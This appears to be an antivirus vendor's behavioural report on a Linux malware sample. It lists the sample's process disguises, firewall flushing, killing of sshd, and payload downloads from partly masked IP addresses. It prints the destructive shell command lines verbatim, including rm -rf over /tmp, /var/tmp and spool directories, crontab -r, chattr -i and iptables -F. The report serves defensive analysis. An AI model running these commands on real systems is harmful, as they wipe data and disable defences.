Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- -1
- lipupr
- lomg
- java
Modifies firewall settings:
- iptables -F
Launches processes:
- sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; mkdir /tmp ; >/dev/null 2>&1
- chattr -R -i /tmp/*
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- rm -rf /tmp/*
- crontab -r
- atq
- awk {print $1}
- rm -rf /dev/shm/*
- sh -c iptables -F ; iptables-save >/dev/null 2>&1
- rm -rf /var/tmp/*
- rm -rf /var/tmp/. /var/tmp/..
- chattr -R -i /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs /var/spool/exim4/db /var/spool/exim4/input /var/spool/exim4/msglog
- sh -c /root/exesbr
- /root/exesbr
- rm -rf /var/spool/exim4/input/1ahTzp-0002FZ-0L-D /var/spool/exim4/input/1ahUKa-0002Fm-0o-D
- mkdir /tmp
- iptables-save
- sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
- rm -rf /tmp/. /tmp/..
- sh -c /root/lomg lomg
- /root/lomg lomg
- sh -c /root/iilkqr xjwu
- /root/iilkqr xjwu
- sh -c /root/nskvsrpn
- /root/nskvsrpn
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- systemd
- (sd-pam)
- /bin/sh
- /bin/rm
Performs operations with the file system:
Modifies file access rights:
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /root/exesbr
- /usr/bin/crontab
- /usr/bin/at
- /root/lomg
- /root/iilkqr
- /root/nskvsrpn
Creates or modifies files:
- /root/exesbr
- /root/lomg
- /root/iilkqr
- /root/p
- /root/nskvsrpn
Deletes files:
- /tmp/*
- /dev/shm/*
- /var/tmp/*
- /var/spool/exim4/input/1ahTzp-0002FZ-0L-D
- /usr/bin/at
- /root/iilkqr
- /root/p
Network activity:
HTTP GET requests:
- 18#.##5.169.6/jp/jj
- 16#.##.69.25/j/fst
- 16#.##.69.25/j/jrd
- 16#.##.69.25/j/lmmml
